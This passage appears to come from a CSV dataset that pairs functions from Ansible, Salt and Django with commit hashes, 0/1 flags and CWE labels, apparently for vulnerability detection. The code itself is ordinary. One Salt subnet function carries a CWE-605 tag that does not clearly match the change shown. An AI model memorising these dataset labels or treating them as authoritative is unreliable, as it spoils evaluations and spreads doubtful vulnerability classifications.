                               ""internally by Ansible Core Engine"" % ("","".join(restricted_argument_names))
                        self.reporter.error(
                            path=self.object_path,
                            code='invalid-argument-name',
                            msg=msg,
                        )
                        continue

            if not isinstance(data, dict):
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" must be a dictionary/hash when used""
                self.reporter.error(
                    path=self.object_path,
                    code='invalid-argument-spec',
                    msg=msg,
                )
                continue

            removed_at_date = data.get('removed_at_date', None)
            if removed_at_date is not None:
                try:
                    if parse_isodate(removed_at_date, allow_date=False) < datetime.date.today():
                        msg = ""Argument '%s' in argument_spec"" % arg
                        if context:
                            msg += "" found in %s"" % "" -> "".join(context)
                        msg += "" has a removed_at_date '%s' before today"" % removed_at_date
                        self.reporter.error(
                            path=self.object_path,
                            code='deprecated-date',
                            msg=msg,
                        )
                except ValueError:
                    # This should only happen when removed_at_date is not in ISO format. Since schema
                    # validation already reported this as an error, don't report it a second time.
                    pass

            deprecated_aliases = data.get('deprecated_aliases', None)
            if deprecated_aliases is not None:
                for deprecated_alias in deprecated_aliases:
                    if 'name' in deprecated_alias and 'date' in deprecated_alias:
                        try:
                            date = deprecated_alias['date']
                            if parse_isodate(date, allow_date=False) < datetime.date.today():
                                msg = ""Argument '%s' in argument_spec"" % arg
                                if context:
                                    msg += "" found in %s"" % "" -> "".join(context)
                                msg += "" has deprecated aliases '%s' with removal date '%s' before today"" % (
                                    deprecated_alias['name'], deprecated_alias['date'])
                                self.reporter.error(
                                    path=self.object_path,
                                    code='deprecated-date',
                                    msg=msg,
                                )
                        except ValueError:
                            # This should only happen when deprecated_alias['date'] is not in ISO format. Since
                            # schema validation already reported this as an error, don't report it a second
                            # time.
                            pass

            has_version = False
            if self.collection and self.collection_version is not None:
                compare_version = self.collection_version
                version_of_what = ""this collection (%s)"" % self.collection_version_str
                code_prefix = 'collection'
                has_version = True
            elif not self.collection:
                compare_version = LOOSE_ANSIBLE_VERSION
                version_of_what = ""Ansible (%s)"" % ansible_version
                code_prefix = 'ansible'
                has_version = True

            removed_in_version = data.get('removed_in_version', None)
            if removed_in_version is not None:
                try:
                    collection_name = data.get('removed_from_collection')
                    removed_in = self._create_version(str(removed_in_version), collection_name=collection_name)
                    if has_version and collection_name == self.collection_name and compare_version >= removed_in:
                        msg = ""Argument '%s' in argument_spec"" % arg
                        if context:
                            msg += "" found in %s"" % "" -> "".join(context)
                        msg += "" has a deprecated removed_in_version %r,"" % removed_in_version
                        msg += "" i.e. the version is less than or equal to the current version of %s"" % version_of_what
                        self.reporter.error(
                            path=self.object_path,
                            code=code_prefix + '-deprecated-version',
                            msg=msg,
                        )
                except ValueError as e:
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" has an invalid removed_in_version number %r: %s"" % (removed_in_version, e)
                    self.reporter.error(
                        path=self.object_path,
                        code='invalid-deprecated-version',
                        msg=msg,
                    )
                except TypeError:
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" has an invalid removed_in_version number %r: "" % (removed_in_version, )
                    msg += "" error while comparing to version of %s"" % version_of_what
                    self.reporter.error(
                        path=self.object_path,
                        code='invalid-deprecated-version',
                        msg=msg,
                    )

            if deprecated_aliases is not None:
                for deprecated_alias in deprecated_aliases:
                    if 'name' in deprecated_alias and 'version' in deprecated_alias:
                        try:
                            collection_name = deprecated_alias.get('collection_name')
                            version = self._create_version(str(deprecated_alias['version']), collection_name=collection_name)
                            if has_version and collection_name == self.collection_name and compare_version >= version:
                                msg = ""Argument '%s' in argument_spec"" % arg
                                if context:
                                    msg += "" found in %s"" % "" -> "".join(context)
                                msg += "" has deprecated aliases '%s' with removal in version %r,"" % (
                                    deprecated_alias['name'], deprecated_alias['version'])
                                msg += "" i.e. the version is less than or equal to the current version of %s"" % version_of_what
                                self.reporter.error(
                                    path=self.object_path,
                                    code=code_prefix + '-deprecated-version',
                                    msg=msg,
                                )
                        except ValueError as e:
                            msg = ""Argument '%s' in argument_spec"" % arg
                            if context:
                                msg += "" found in %s"" % "" -> "".join(context)
                            msg += "" has deprecated aliases '%s' with invalid removal version %r: %s"" % (
                                deprecated_alias['name'], deprecated_alias['version'], e)
                            self.reporter.error(
                                path=self.object_path,
                                code='invalid-deprecated-version',
                                msg=msg,
                            )
                        except TypeError:
                            msg = ""Argument '%s' in argument_spec"" % arg
                            if context:
                                msg += "" found in %s"" % "" -> "".join(context)
                            msg += "" has deprecated aliases '%s' with invalid removal version %r:"" % (
                                deprecated_alias['name'], deprecated_alias['version'])
                            msg += "" error while comparing to version of %s"" % version_of_what
                            self.reporter.error(
                                path=self.object_path,
                                code='invalid-deprecated-version',
                                msg=msg,
                            )

            aliases = data.get('aliases', [])
            if arg in aliases:
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" is specified as its own alias""
                self.reporter.error(
                    path=self.object_path,
                    code='parameter-alias-self',
                    msg=msg
                )
            if len(aliases) > len(set(aliases)):
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" has at least one alias specified multiple times in aliases""
                self.reporter.error(
                    path=self.object_path,
                    code='parameter-alias-repeated',
                    msg=msg
                )
            if not context and arg == 'state':
                bad_states = set(['list', 'info', 'get']) & set(data.get('choices', set()))
                for bad_state in bad_states:
                    self.reporter.error(
                        path=self.object_path,
                        code='parameter-state-invalid-choice',
                        msg=""Argument 'state' includes the value '%s' as a choice"" % bad_state)
            if not data.get('removed_in_version', None) and not data.get('removed_at_date', None):
                args_from_argspec.add(arg)
                args_from_argspec.update(aliases)
            else:
                deprecated_args_from_argspec.add(arg)
                deprecated_args_from_argspec.update(aliases)
            if arg == 'provider' and self.object_path.startswith('lib/ansible/modules/network/'):
                if data.get('options') is not None and not isinstance(data.get('options'), Mapping):
                    self.reporter.error(
                        path=self.object_path,
                        code='invalid-argument-spec-options',
                        msg=""Argument 'options' in argument_spec['provider'] must be a dictionary/hash when used"",
                    )
                elif data.get('options'):
                    # Record provider options from network modules, for later comparison
                    for provider_arg, provider_data in data.get('options', {}).items():
                        provider_args.add(provider_arg)
                        provider_args.update(provider_data.get('aliases', []))

            if data.get('required') and data.get('default', object) != object:
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" is marked as required but specifies a default. Arguments with a"" \
                       "" default should not be marked as required""
                self.reporter.error(
                    path=self.object_path,
                    code='no-default-for-required-parameter',
                    msg=msg
                )

            if arg in provider_args:
                # Provider args are being removed from network module top level
                # don't validate docs<->arg_spec checks below
                continue

            _type = data.get('type', 'str')
            if callable(_type):
                _type_checker = _type
            else:
                _type_checker = module._CHECK_ARGUMENT_TYPES_DISPATCHER.get(_type)

            _elements = data.get('elements')
            if (_type == 'list') and not _elements:
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" defines type as list but elements is not defined""
                self.reporter.error(
                    path=self.object_path,
                    code='parameter-list-no-elements',
                    msg=msg
                )
            if _elements:
                if not callable(_elements):
                    module._CHECK_ARGUMENT_TYPES_DISPATCHER.get(_elements)
                if _type != 'list':
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" defines elements as %s but it is valid only when value of parameter type is list"" % _elements
                    self.reporter.error(
                        path=self.object_path,
                        code='parameter-invalid-elements',
                        msg=msg
                    )

            arg_default = None
            if 'default' in data and not is_empty(data['default']):
                try:
                    with CaptureStd():
                        arg_default = _type_checker(data['default'])
                except (Exception, SystemExit):
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" defines default as (%r) but this is incompatible with parameter type %r"" % (data['default'], _type)
                    self.reporter.error(
                        path=self.object_path,
                        code='incompatible-default-type',
                        msg=msg
                    )
                    continue
            elif data.get('default') is None and _type == 'bool' and 'options' not in data:
                arg_default = False

            doc_options_args = []
            for alias in sorted(set([arg] + list(aliases))):
                if alias in doc_options:
                    doc_options_args.append(alias)
            if len(doc_options_args) == 0:
                # Undocumented arguments will be handled later (search for undocumented-parameter)
                doc_options_arg = {}
            else:
                doc_options_arg = doc_options[doc_options_args[0]]
                if len(doc_options_args) > 1:
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" with aliases %s is documented multiple times, namely as %s"" % (
                        "", "".join([(""'%s'"" % alias) for alias in aliases]),
                        "", "".join([(""'%s'"" % alias) for alias in doc_options_args])
                    )
                    self.reporter.error(
                        path=self.object_path,
                        code='parameter-documented-multiple-times',
                        msg=msg
                    )

            try:
                doc_default = None
                if 'default' in doc_options_arg and not is_empty(doc_options_arg['default']):
                    with CaptureStd():
                        doc_default = _type_checker(doc_options_arg['default'])
                elif doc_options_arg.get('default') is None and _type == 'bool' and 'suboptions' not in doc_options_arg:
                    doc_default = False
            except (Exception, SystemExit):
                msg = ""Argument '%s' in documentation"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" defines default as (%r) but this is incompatible with parameter type %r"" % (doc_options_arg.get('default'), _type)
                self.reporter.error(
                    path=self.object_path,
                    code='doc-default-incompatible-type',
                    msg=msg
                )
                continue

            if arg_default != doc_default:
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" defines default as (%r) but documentation defines default as (%r)"" % (arg_default, doc_default)
                self.reporter.error(
                    path=self.object_path,
                    code='doc-default-does-not-match-spec',
                    msg=msg
                )

            doc_type = doc_options_arg.get('type')
            if 'type' in data and data['type'] is not None:
                if doc_type is None:
                    if not arg.startswith('_'):  # hidden parameter, for example _raw_params
                        msg = ""Argument '%s' in argument_spec"" % arg
                        if context:
                            msg += "" found in %s"" % "" -> "".join(context)
                        msg += "" defines type as %r but documentation doesn't define type"" % (data['type'])
                        self.reporter.error(
                            path=self.object_path,
                            code='parameter-type-not-in-doc',
                            msg=msg
                        )
                elif data['type'] != doc_type:
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" defines type as %r but documentation defines type as %r"" % (data['type'], doc_type)
                    self.reporter.error(
                        path=self.object_path,
                        code='doc-type-does-not-match-spec',
                        msg=msg
                    )
            else:
                if doc_type is None:
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" uses default type ('str') but documentation doesn't define type""
                    self.reporter.error(
                        path=self.object_path,
                        code='doc-missing-type',
                        msg=msg
                    )
                elif doc_type != 'str':
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" implies type as 'str' but documentation defines as %r"" % doc_type
                    self.reporter.error(
                        path=self.object_path,
                        code='implied-parameter-type-mismatch',
                        msg=msg
                    )

            doc_choices = []
            try:
                for choice in doc_options_arg.get('choices', []):
                    try:
                        with CaptureStd():
                            doc_choices.append(_type_checker(choice))
                    except (Exception, SystemExit):
                        msg = ""Argument '%s' in documentation"" % arg
                        if context:
                            msg += "" found in %s"" % "" -> "".join(context)
                        msg += "" defines choices as (%r) but this is incompatible with argument type %r"" % (choice, _type)
                        self.reporter.error(
                            path=self.object_path,
                            code='doc-choices-incompatible-type',
                            msg=msg
                        )
                        raise StopIteration()
            except StopIteration:
                continue

            arg_choices = []
            try:
                for choice in data.get('choices', []):
                    try:
                        with CaptureStd():
                            arg_choices.append(_type_checker(choice))
                    except (Exception, SystemExit):
                        msg = ""Argument '%s' in argument_spec"" % arg
                        if context:
                            msg += "" found in %s"" % "" -> "".join(context)
                        msg += "" defines choices as (%r) but this is incompatible with argument type %r"" % (choice, _type)
                        self.reporter.error(
                            path=self.object_path,
                            code='incompatible-choices',
                            msg=msg
                        )
                        raise StopIteration()
            except StopIteration:
                continue

            if not compare_unordered_lists(arg_choices, doc_choices):
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" defines choices as (%r) but documentation defines choices as (%r)"" % (arg_choices, doc_choices)
                self.reporter.error(
                    path=self.object_path,
                    code='doc-choices-do-not-match-spec',
                    msg=msg
                )

            doc_required = doc_options_arg.get('required', False)
            data_required = data.get('required', False)
            if (doc_required or data_required) and not (doc_required and data_required):
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                if doc_required:
                    msg += "" is not required, but is documented as being required""
                else:
                    msg += "" is required, but is not documented as being required""
                self.reporter.error(
                    path=self.object_path,
                    code='doc-required-mismatch',
                    msg=msg
                )

            doc_elements = doc_options_arg.get('elements', None)
            doc_type = doc_options_arg.get('type', 'str')
            data_elements = data.get('elements', None)
            if (doc_elements and not doc_type == 'list'):
                msg = ""Argument '%s "" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" defines parameter elements as %s but it is valid only when value of parameter type is list"" % doc_elements
                self.reporter.error(
                    path=self.object_path,
                    code='doc-elements-invalid',
                    msg=msg
                )
            if (doc_elements or data_elements) and not (doc_elements == data_elements):
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                if data_elements:
                    msg += "" specifies elements as %s,"" % data_elements
                else:
                    msg += "" does not specify elements,""
                if doc_elements:
                    msg += ""but elements is documented as being %s"" % doc_elements
                else:
                    msg += ""but elements is not documented""
                self.reporter.error(
                    path=self.object_path,
                    code='doc-elements-mismatch',
                    msg=msg
                )

            spec_suboptions = data.get('options')
            doc_suboptions = doc_options_arg.get('suboptions', {})
            if spec_suboptions:
                if not doc_suboptions:
                    msg = ""Argument '%s' in argument_spec"" % arg
                    if context:
                        msg += "" found in %s"" % "" -> "".join(context)
                    msg += "" has sub-options but documentation does not define it""
                    self.reporter.error(
                        path=self.object_path,
                        code='missing-suboption-docs',
                        msg=msg
                    )
                self._validate_argument_spec({'options': doc_suboptions}, spec_suboptions, kwargs,
                                             context=context + [arg], last_context_spec=data)

        for arg in args_from_argspec:
            if not str(arg).isidentifier():
                msg = ""Argument '%s' in argument_spec"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" is not a valid python identifier""
                self.reporter.error(
                    path=self.object_path,
                    code='parameter-invalid',
                    msg=msg
                )

        if docs:
            args_from_docs = set()
            for arg, data in doc_options.items():
                args_from_docs.add(arg)
                args_from_docs.update(data.get('aliases', []))

            args_missing_from_docs = args_from_argspec.difference(args_from_docs)
            docs_missing_from_args = args_from_docs.difference(args_from_argspec | deprecated_args_from_argspec)
            for arg in args_missing_from_docs:
                if arg in provider_args:
                    # Provider args are being removed from network module top level
                    # So they are likely not documented on purpose
                    continue
                msg = ""Argument '%s'"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" is listed in the argument_spec, but not documented in the module documentation""
                self.reporter.error(
                    path=self.object_path,
                    code='undocumented-parameter',
                    msg=msg
                )
            for arg in docs_missing_from_args:
                msg = ""Argument '%s'"" % arg
                if context:
                    msg += "" found in %s"" % "" -> "".join(context)
                msg += "" is listed in DOCUMENTATION.options, but not accepted by the module argument_spec""
                self.reporter.error(
                    path=self.object_path,
                    code='nonexistent-parameter-documented',
                    msg=msg
                )"
,UNKNOWN,UNKNOWN,salt/states/boto_vpc.py,1,"def subnet_present(name, cidr_block, vpc_name=None, vpc_id=None,
                   availability_zone=None, tags=None,
                   region=None, key=None,
                   keyid=None, profile=None,
                   route_table_id=None, route_table_name=None, auto_assign_public_ipv4=False):

    '''
    Ensure a subnet exists.

    name
        Name of the subnet.

    cidr_block
        The range if IPs for the subnet, in CIDR format. For example:
        10.0.0.0/24. Block size must be between /16 and /28 netmask.

    vpc_name
        Name of the VPC in which the subnet should be placed. Either
        vpc_name or vpc_id must be provided.

    vpc_id
        Id of the VPC in which the subnet should be placed. Either vpc_name
        or vpc_id must be provided.

    availability_zone
        AZ in which the subnet should be placed.

    tags
        A list of tags.

    route_table_id
        A route table ID to explicitly associate the subnet with.  If both route_table_id
        and route_table_name are specified, route_table_id will take precedence.

        .. versionadded:: 2016.11.0

    route_table_name
        A route table name to explicitly associate the subnet with.  If both route_table_id
        and route_table_name are specified, route_table_id will take precedence.

        .. versionadded:: 2016.11.0

    region
        Region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string) that
        contains a dict with region, key and keyid.
    '''

    ret = {'name': name,
           'result': True,
           'comment': '',
           'changes': {}
           }

    r = __salt__['boto_vpc.subnet_exists'](subnet_name=name, tags=tags,
                                           region=region, key=key,
                                           keyid=keyid, profile=profile)

    if 'error' in r:
        ret['result'] = False
        ret['comment'] = 'Failed to create subnet: {0}.'.format(r['error']['message'])
        return ret

    route_table_desc = None
    _describe = None
    rtid = None
    if route_table_id or route_table_name:
        rt = None
        route_table_found = False
        if route_table_id:
            rtid = route_table_id
            rt = __salt__['boto_vpc.route_table_exists'](route_table_id=route_table_id,
                                                         region=region, key=key, keyid=keyid,
                                                         profile=profile)
        elif route_table_name:
            rtid = route_table_name
            rt = __salt__['boto_vpc.route_table_exists'](route_table_name=route_table_name,
                                                         region=region, key=key, keyid=keyid,
                                                         profile=profile)
        if rt:
            if 'exists' in rt:
                if rt['exists']:
                    if route_table_id:
                        route_table_found = True
                        route_table_desc = __salt__['boto_vpc.describe_route_table'](route_table_id=route_table_id,
                                                                                     region=region, key=key, keyid=keyid,
                                                                                     profile=profile)
                    elif route_table_name:
                        route_table_found = True
                        route_table_desc = __salt__['boto_vpc.describe_route_table'](route_table_name=route_table_name,
                                                                                     region=region, key=key, keyid=keyid,
                                                                                     profile=profile)
        if not route_table_found:
            ret['result'] = False
            ret['comment'] = 'The specified route table {0} could not be found.'.format(rtid)
            return ret

    if not r.get('exists'):
        if __opts__['test']:
            ret['comment'] = 'Subnet {0} is set to be created.'.format(name)
            ret['result'] = None
            return ret
        r = __salt__['boto_vpc.create_subnet'](subnet_name=name,
                                               cidr_block=cidr_block,
                                               availability_zone=availability_zone,
                                               auto_assign_public_ipv4=auto_assign_public_ipv4,
                                               vpc_name=vpc_name, vpc_id=vpc_id,
                                               tags=tags, region=region,
                                               key=key, keyid=keyid,
                                               profile=profile)
        if not r.get('created'):
            ret['result'] = False
            ret['comment'] = 'Failed to create subnet: {0}'.format(r['error']['message'])
            return ret
        _describe = __salt__['boto_vpc.describe_subnet'](subnet_id=r['id'], region=region, key=key,
                                                         keyid=keyid, profile=profile)
        ret['changes']['old'] = {'subnet': None}
        ret['changes']['new'] = _describe
        ret['comment'] = 'Subnet {0} created.'.format(name)
    else:
        ret['comment'] = 'Subnet present.'

    if route_table_desc:
        if not _describe:
            _describe = __salt__['boto_vpc.describe_subnet'](subnet_name=name, region=region,
                                                             key=key, keyid=keyid, profile=profile)
        if not _verify_subnet_association(route_table_desc, _describe['subnet']['id']):
            if __opts__['test']:
                msg = 'Subnet is set to be associated with route table {0}'.format(rtid)
                ret['comment'] = ' '.join([ret['comment'], msg])
                ret['result'] = None
                return ret
            if 'explicit_route_table_association_id' in _describe['subnet']:
                log.debug('Need to disassociate from existing route table')
                drt_ret = __salt__['boto_vpc.disassociate_route_table'](_describe['subnet']['explicit_route_table_association_id'],
                                                                        region=region, key=key, keyid=keyid, profile=profile)
                if not drt_ret['disassociated']:
                    msg = 'Unable to disassociate subnet {0} with its current route table.'.format(name)
                    ret['comment'] = ' '.join([ret['comment'], msg])
                    ret['result'] = False
                    return ret
            if 'old' not in ret['changes']:
                ret['changes']['old'] = _describe
            art_ret = __salt__['boto_vpc.associate_route_table'](route_table_id=route_table_desc['id'],
                                                                 subnet_name=name, region=region,
                                                                 key=key, keyid=keyid, profile=profile)
            if 'error' in art_ret:
                msg = 'Failed to associate subnet {0} with route table {1}: {2}.'.format(name, rtid,
                                                                                         art_ret['error']['message'])
                ret['comment'] = ' '.join([ret['comment'], msg])
                ret['result'] = False
                return ret
            else:
                msg = 'Subnet successfully associated with route table {0}.'.format(rtid)
                ret['comment'] = ' '.join([ret['comment'], msg])
                if 'new' not in ret['changes']:
                    ret['changes']['new'] = __salt__['boto_vpc.describe_subnet'](subnet_name=name, region=region,
                                                                                 key=key, keyid=keyid, profile=profile)
                else:
                    ret['changes']['new']['subnet']['explicit_route_table_association_id'] = art_ret['association_id']
        else:
            ret['comment'] = ' '.join([ret['comment'],
                                      'Subnet is already associated with route table {0}'.format(rtid)])
    return ret",CWE-605,saltstack/salt,bbff277d388ff11b43f610e5c473e91d6d286f83,"def subnet_present(name, cidr_block, vpc_name=None, vpc_id=None,
                   availability_zone=None, tags=None,
                   region=None, key=None,
                   keyid=None, profile=None,
                   route_table_id=None, route_table_name=None):

    '''
    Ensure a subnet exists.

    name
        Name of the subnet.

    cidr_block
        The range if IPs for the subnet, in CIDR format. For example:
        10.0.0.0/24. Block size must be between /16 and /28 netmask.

    vpc_name
        Name of the VPC in which the subnet should be placed. Either
        vpc_name or vpc_id must be provided.

    vpc_id
        Id of the VPC in which the subnet should be placed. Either vpc_name
        or vpc_id must be provided.

    availability_zone
        AZ in which the subnet should be placed.

    tags
        A list of tags.

    route_table_id
        A route table ID to explicitly associate the subnet with.  If both route_table_id
        and route_table_name are specified, route_table_id will take precedence.

        .. versionadded:: 2016.11.0

    route_table_name
        A route table name to explicitly associate the subnet with.  If both route_table_id
        and route_table_name are specified, route_table_id will take precedence.

        .. versionadded:: 2016.11.0

    region
        Region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string) that
        contains a dict with region, key and keyid.
    '''

    ret = {'name': name,
           'result': True,
           'comment': '',
           'changes': {}
           }

    r = __salt__['boto_vpc.subnet_exists'](subnet_name=name, tags=tags,
                                           region=region, key=key,
                                           keyid=keyid, profile=profile)

    if 'error' in r:
        ret['result'] = False
        ret['comment'] = 'Failed to create subnet: {0}.'.format(r['error']['message'])
        return ret

    route_table_desc = None
    _describe = None
    rtid = None
    if route_table_id or route_table_name:
        rt = None
        route_table_found = False
        if route_table_id:
            rtid = route_table_id
            rt = __salt__['boto_vpc.route_table_exists'](route_table_id=route_table_id,
                                                         region=region, key=key, keyid=keyid,
                                                         profile=profile)
        elif route_table_name:
            rtid = route_table_name
            rt = __salt__['boto_vpc.route_table_exists'](route_table_name=route_table_name,
                                                         region=region, key=key, keyid=keyid,
                                                         profile=profile)
        if rt:
            if 'exists' in rt:
                if rt['exists']:
                    if route_table_id:
                        route_table_found = True
                        route_table_desc = __salt__['boto_vpc.describe_route_table'](route_table_id=route_table_id,
                                                                                     region=region, key=key, keyid=keyid,
                                                                                     profile=profile)
                    elif route_table_name:
                        route_table_found = True
                        route_table_desc = __salt__['boto_vpc.describe_route_table'](route_table_name=route_table_name,
                                                                                     region=region, key=key, keyid=keyid,
                                                                                     profile=profile)
        if not route_table_found:
            ret['result'] = False
            ret['comment'] = 'The specified route table {0} could not be found.'.format(rtid)
            return ret

    if not r.get('exists'):
        if __opts__['test']:
            ret['comment'] = 'Subnet {0} is set to be created.'.format(name)
            ret['result'] = None
            return ret
        r = __salt__['boto_vpc.create_subnet'](subnet_name=name,
                                               cidr_block=cidr_block,
                                               availability_zone=availability_zone,
                                               vpc_name=vpc_name, vpc_id=vpc_id,
                                               tags=tags, region=region,
                                               key=key, keyid=keyid,
                                               profile=profile)
        if not r.get('created'):
            ret['result'] = False
            ret['comment'] = 'Failed to create subnet: {0}'.format(r['error']['message'])
            return ret
        _describe = __salt__['boto_vpc.describe_subnet'](subnet_id=r['id'], region=region, key=key,
                                                         keyid=keyid, profile=profile)
        ret['changes']['old'] = {'subnet': None}
        ret['changes']['new'] = _describe
        ret['comment'] = 'Subnet {0} created.'.format(name)
    else:
        ret['comment'] = 'Subnet present.'

    if route_table_desc:
        if not _describe:
            _describe = __salt__['boto_vpc.describe_subnet'](subnet_name=name, region=region,
                                                             key=key, keyid=keyid, profile=profile)
        if not _verify_subnet_association(route_table_desc, _describe['subnet']['id']):
            if __opts__['test']:
                msg = 'Subnet is set to be associated with route table {0}'.format(rtid)
                ret['comment'] = ' '.join([ret['comment'], msg])
                ret['result'] = None
                return ret
            if 'explicit_route_table_association_id' in _describe['subnet']:
                log.debug('Need to disassociate from existing route table')
                drt_ret = __salt__['boto_vpc.disassociate_route_table'](_describe['subnet']['explicit_route_table_association_id'],
                                                                        region=region, key=key, keyid=keyid, profile=profile)
                if not drt_ret['disassociated']:
                    msg = 'Unable to disassociate subnet {0} with its current route table.'.format(name)
                    ret['comment'] = ' '.join([ret['comment'], msg])
                    ret['result'] = False
                    return ret
            if 'old' not in ret['changes']:
                ret['changes']['old'] = _describe
            art_ret = __salt__['boto_vpc.associate_route_table'](route_table_id=route_table_desc['id'],
                                                                 subnet_name=name, region=region,
                                                                 key=key, keyid=keyid, profile=profile)
            if 'error' in art_ret:
                msg = 'Failed to associate subnet {0} with route table {1}: {2}.'.format(name, rtid,
                                                                                         art_ret['error']['message'])
                ret['comment'] = ' '.join([ret['comment'], msg])
                ret['result'] = False
                return ret
            else:
                msg = 'Subnet successfully associated with route table {0}.'.format(rtid)
                ret['comment'] = ' '.join([ret['comment'], msg])
                if 'new' not in ret['changes']:
                    ret['changes']['new'] = __salt__['boto_vpc.describe_subnet'](subnet_name=name, region=region,
                                                                                 key=key, keyid=keyid, profile=profile)
                else:
                    ret['changes']['new']['subnet']['explicit_route_table_association_id'] = art_ret['association_id']
        else:
            ret['comment'] = ' '.join([ret['comment'],
                                      'Subnet is already associated with route table {0}'.format(rtid)])
    return ret"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/network/iosxr/iosxr.py,0,"def load_config(module, command_filter, commit=False, replace=False,
                comment=None, admin=False, running=None, nc_get_filter=None):

    conn = get_connection(module)

    diff = None
    if is_netconf(module):
        # FIXME: check for platform behaviour and restore this
        # conn.lock(target = 'candidate')
        # conn.discard_changes()

        try:
            for filter in to_list(command_filter):
                conn.edit_config(filter)

            candidate = get_config(module, source='candidate', config_filter=nc_get_filter)
            diff = get_config_diff(module, running, candidate)

            if commit and diff:
                commit_config(module)
            else:
                discard_config(module)
        finally:
            # conn.unlock(target = 'candidate')
            pass

    elif is_cliconf(module):
        # to keep the pre-cliconf behaviour, make a copy, avoid adding commands to input list
        cmd_filter = deepcopy(command_filter)
        cmd_filter.insert(0, 'configure terminal')
        if admin:
            cmd_filter.insert(0, 'admin')
        conn.edit_config(cmd_filter)

        if module._diff:
            diff = get_config_diff(module)

        if replace:
            cmd = list()
            cmd.append({'command': 'commit replace',
                        'prompt': 'This commit will replace or remove the entire running configuration',
                        'answer': 'yes'})
            cmd.append('end')
            conn.edit_config(cmd)
        elif commit:
            commit_config(module, comment=comment)
            conn.edit_config('end')
            if admin:
                conn.edit_config('exit')
        else:
            conn.discard_changes()

    return diff",,ansible/ansible,3115f316553a06b2f86dd3b749d9e2e8dbb5a1a9,"def load_config(module, command_filter, commit=False, replace=False,
                comment=None, admin=False, running=None, nc_get_filter=None):

    conn = get_connection(module)

    diff = None
    if is_netconf(module):
        # FIXME: check for platform behaviour and restore this
        # conn.lock(target = 'candidate')
        # conn.discard_changes()

        try:
            for filter in to_list(command_filter):
                conn.edit_config(filter)

            candidate = get_config(module, source='candidate', config_filter=nc_get_filter)
            diff = get_config_diff(module, running, candidate)

            if commit and diff:
                commit_config(module)
            else:
                discard_config(module)
        finally:
            # conn.unlock(target = 'candidate')
            pass

    elif is_cliconf(module):
        # to keep the pre-cliconf behaviour, make a copy, avoid adding commands to input list
        cmd_filter = deepcopy(command_filter)
        cmd_filter.insert(0, 'configure terminal')
        if admin:
            cmd_filter.insert(0, 'admin')
        conn.edit_config(cmd_filter)

        if module._diff:
            diff = get_config_diff(module)

        if replace:
            cmd = list()
            cmd.append({'command': 'commit replace',
                        'prompt': 'This commit will replace or remove the entire running configuration',
                        'answer': 'yes'})
            cmd.append('end')
            conn.edit_config(cmd)
        elif commit:
            commit_config(module, comment=comment)
            conn.edit_config('end')
        else:
            conn.discard_changes()

    return diff"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/regressiontests/defaultfilters/tests.py,0,"def test_floatformat(self):
        self.assertEqual(floatformat(7.7), '7.7')
        self.assertEqual(floatformat(7.0), '7')
        self.assertEqual(floatformat(0.7), '0.7')
        self.assertEqual(floatformat(0.07), '0.1')
        self.assertEqual(floatformat(0.007), '0.0')
        self.assertEqual(floatformat(0.0), '0')
        self.assertEqual(floatformat(7.7, 3), '7.700')
        self.assertEqual(floatformat(6.000000, 3), '6.000')
        self.assertEqual(floatformat(6.200000, 3), '6.200')
        self.assertEqual(floatformat(6.200000, -3), '6.200')
        self.assertEqual(floatformat(13.1031, -3), '13.103')
        self.assertEqual(floatformat(11.1197, -2), '11.12')
        self.assertEqual(floatformat(11.0000, -2), '11')
        self.assertEqual(floatformat(11.000001, -2), '11.00')
        self.assertEqual(floatformat(8.2798, 3), '8.280')
        self.assertEqual(floatformat(5555.555, 2), '5555.56')
        self.assertEqual(floatformat(001.3000, 2), '1.30')
        self.assertEqual(floatformat(0.12345, 2), '0.12')
        self.assertEqual(floatformat(decimal.Decimal('555.555'), 2), '555.56')
        self.assertEqual(floatformat(decimal.Decimal('09.000')), '9')
        self.assertEqual(floatformat('foo'), '')
